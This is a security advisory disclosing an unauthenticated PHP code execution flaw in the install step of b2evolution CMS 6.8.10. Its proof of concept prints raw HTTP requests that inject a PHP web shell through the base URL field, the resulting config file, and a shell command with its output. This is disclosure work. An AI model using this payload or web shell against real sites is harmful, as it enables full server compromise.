Date

Information

Name:b2evolution CMS 6.8.10
Software:b2evolution CMS
Homepage:http://b2evolution.net/
Vulnerability:PHP code execution
Prerequisites:access to basic install functionality
Severity:high
CVE:NA

Description

Unauthenticated user with access to /install functionality can configure the application installation parameters and complete the installation. This functionality can be used to execute PHP code on the server.

Proof of Concept

Application needs to be installed after coping the source code to the server. After installation (/install) is complete, the application will create a /conf/_basic_config.php file. It contains database connection credentials and other settings. Unauthenticated attacker with access to /intall functionality can use it to execute PHP code by injecting it to different values.

Following scenario demonstrates the issue on Apache web-server.

Following request is made after base configuration is completed:

POST /install/index.php HTTP/1.1
Host: victim.site
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
Connection: close

conf_db_host=localhost&conf_db_name=b2evolution&conf_db_user=root&conf_db_password=root&conf_baseurl=http%3A%2F%2Fvictim.site%2F&conf_admin_email=admin%40localhost&submit=Update+config+file&action=conf&locale=en-US

Application creates the /conf/_basic_config.php using user provided values:

<?php
...
/**
 * MySQL DB settings.
 * Fill in your database details (check carefully or nothing will work!)
 */
$db_config = array(
        'user'     => 'root',         // your MySQL username
        'password' => 'root',         // ...and password
        'name'     => 'b2evolution',  // the name of the database
        'host'     => 'localhost',    // MySQL Server (typically 'localhost')
);
...
$baseurl = 'http://victim.site/';
...
$admin_email = 'admin@localhost';
...

In case the application is installed on public server, the installation functionality is publicly accessible everyone accessing the vulnerable site. Assuming that the attacker manages to find a application in this state before the initial installation in completed, they can use previously described request to execute PHP code on the victim's server.

Following parameters are vulnerable and can be used:
  • conf_db_tableprefix
  • conf_admin_email
  • conf_baseurl

Let's use conf_baseurl for example. Attacker specifies the following value as base URL: http://victim.site/\\';$r=$_REQUEST;if(isset($r[0])){$r[0]($r[1]);}/*

After finishing the basic setup, following request is made.

POST /install/index.php HTTP/1.1
Host: victim.site
Content-Length: 319
Content-Type: application/x-www-form-urlencoded
Connection: close

conf_db_host=localhost&conf_db_name=b2evolution&conf_db_user=root&conf_db_password=root&conf_baseurl=http%3A%2F%2Fvictim.site%2F%5C%5C%27%3B%24r%3D%24_REQUEST%3Bif%28isset%28%24r%5B0%5D%29%29%7B%24r%5B0%5D%28%24r%5B1%5D%29%3B%7D%2F*&conf_admin_email=admin%40localhost&submit=Update+config+file&action=conf&locale=en-US

Application creates the /conf/_basic_config.php using attacker given values:

 1 <?php
 2 ...
 3 /**
 4  * MySQL DB settings.
 5  * Fill in your database details (check carefully or nothing will work!)
 6  */
 7 $db_config = array(
 8         'user'     => 'root',         // your MySQL username
 9         'password' => 'root',         // ...and password
10         'name'     => 'b2evolution',  // the name of the database
11         'host'     => 'localhost',    // MySQL Server (typically 'localhost')
12 );
13 ...
14 $baseurl = 'http://victim.site/\\';$r=$_REQUEST;
15         if(isset($r[0])){$r[0]($r[1]);}/*/';
16 // Use the following if you want to use the current domain:
17 /*
18 if( isset($_SERVER['HTTP_HOST']) )
19 {       // This only works if HOST is provided by webserver (i-e DOES NOT WORK IN PHP CLI MODE)
20         $baseurl = ( (isset($_SERVER['HTTPS']) && ( $_SERVER['HTTPS'] != 'off' ) ) ?'https://':'http://')
21                                                         .$_SERVER['HTTP_HOST'].'/';
22 }
23 */
24 ...
25 $admin_email = 'admin@localhost';
26 ...

Attacker can use the PHP shell to execute code and take control of the site: view-source:http://victim.site/install/index.php?0=system&1=ls%20-lah;pwd

total 676K
drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:26 .
drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:36 ..
-rw-rw-rw- 1 vagrant vagrant  60K Jul 23 00:26 _functions_create.php
-rw-rw-rw- 1 vagrant vagrant 2.2K Jul 23 00:26 _functions_delete.php
-rw-rw-rw- 1 vagrant vagrant 349K Jul 23 00:26 _functions_evoupgrade.php
-rw-rw-rw- 1 vagrant vagrant  60K Jul 23 00:26 _functions_install.php
-rw-rw-rw- 1 vagrant vagrant  14K Jul 23 00:26 automated-install.html
-rw-rw-rw- 1 vagrant vagrant  13K Jul 23 00:26 debug.php
-rw-rw-rw- 1 vagrant vagrant  831 Jul 23 00:26 index.html
-rw-rw-rw- 1 vagrant vagrant  52K Jul 23 00:26 index.php
-rw-rw-rw- 1 vagrant vagrant  16K Jul 23 00:26 license.txt
-rw-rw-rw- 1 vagrant vagrant  523 Jul 23 00:26 phpinfo.php
drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:26 test
/var/www/b2evolution/install
...

Impact

Unauthenticated attacker can execute PHP code on the server. This can be used to compromise the site and hide the initial shell on the server.

Conclusion

Unlimited access to basic install functionality allows unauthenticated attacker to execute PHP code on the server and completely compromise the site.

New release has been made available to mitigate this issue:

Timeline

  • 08.08.2017 | me                 | vulnerability discovered
  • 08.08.2017 | me > developer     | contacted the developer
  • 09.08.2017 | developer          | vulnerability patched
  • 12.08.2017 | me > developer     | CVE requested; asked about patch release estimate
  • 25.08.2017 | developer > public | new release with patch made available
  • 31.08.2017 | me > public        | full disclosure